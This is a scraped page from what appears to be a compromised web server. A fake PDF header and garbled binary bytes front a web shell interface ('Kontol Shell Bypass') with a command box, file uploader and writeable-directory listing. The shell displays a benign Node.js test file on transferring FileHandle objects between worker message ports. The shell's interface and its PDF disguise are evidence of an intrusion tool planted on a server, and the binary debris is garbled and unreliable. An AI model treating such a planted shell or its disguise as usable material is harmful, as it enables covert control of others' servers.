%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/test/parallel/test-worker-message-port-transfer-filehandle.js
'use strict';
const common = require('../common');
const assert = require('assert');
const fs = require('fs').promises;
const vm = require('vm');
const { MessageChannel, moveMessagePortToContext } = require('worker_threads');
const { once } = require('events');

(async function() {
  const fh = await fs.open(__filename);

  const { port1, port2 } = new MessageChannel();

  assert.throws(() => {
    port1.postMessage(fh);
  }, {
    code: 'ERR_MISSING_TRANSFERABLE_IN_TRANSFER_LIST'
  });

  // Check that transferring FileHandle instances works.
  assert.notStrictEqual(fh.fd, -1);
  port1.postMessage(fh, [ fh ]);
  assert.strictEqual(fh.fd, -1);

  const [ fh2 ] = await once(port2, 'message');
  assert.strictEqual(Object.getPrototypeOf(fh2), Object.getPrototypeOf(fh));

  assert.deepStrictEqual(await fh2.readFile(), await fs.readFile(__filename));
  await fh2.close();

  assert.rejects(() => fh.readFile(), { code: 'EBADF' });
})().then(common.mustCall());

(async function() {
  // Check that there is no crash if the message is never read.
  const fh = await fs.open(__filename);

  const { port1 } = new MessageChannel();

  assert.notStrictEqual(fh.fd, -1);
  port1.postMessage(fh, [ fh ]);
  assert.strictEqual(fh.fd, -1);
})().then(common.mustCall());

(async function() {
  // Check that in the case of a context mismatch the message is discarded.
  const fh = await fs.open(__filename);

  const { port1, port2 } = new MessageChannel();

  const ctx = vm.createContext();
  const port2moved = moveMessagePortToContext(port2, ctx);
  port2moved.onmessage = common.mustCall((msgEvent) => {
    assert.strictEqual(msgEvent.data, 'second message');
    port1.close();
  });
  // TODO(addaleax): Switch this to a 'messageerror' event once MessagePort
  // implements EventTarget fully and in a cross-context manner.
  port2moved.onmessageerror = common.mustCall((event) => {
    assert.strictEqual(event.data.code,
                       'ERR_MESSAGE_TARGET_CONTEXT_UNAVAILABLE');
  });
  port2moved.start();

  assert.notStrictEqual(fh.fd, -1);
  port1.postMessage(fh, [ fh ]);
  assert.strictEqual(fh.fd, -1);

  port1.postMessage('second message');
})().then(common.mustCall());

(async function() {
  // Check that a FileHandle with a read in progress cannot be transferred.
  const fh = await fs.open(__filename);

  const { port1 } = new MessageChannel();

  const readPromise = fh.readFile();
  assert.throws(() => {
    port1.postMessage(fh, [fh]);
  }, {
    message: 'Cannot transfer FileHandle while in use',
    name: 'DataCloneError'
  });

  assert.deepStrictEqual(await readPromise, await fs.readFile(__filename));
})().then(common.mustCall());

(async function() {
  // Check that filehandles with a close in progress cannot be transferred.
  const fh = await fs.open(__filename);

  const { port1 } = new MessageChannel();

  const closePromise = fh.close();
  assert.throws(() => {
    port1.postMessage(fh, [fh]);
  }, {
    message: 'Cannot transfer FileHandle while in use',
    name: 'DataCloneError'
  });
  await closePromise;
})().then(common.mustCall());

Kontol Shell Bypass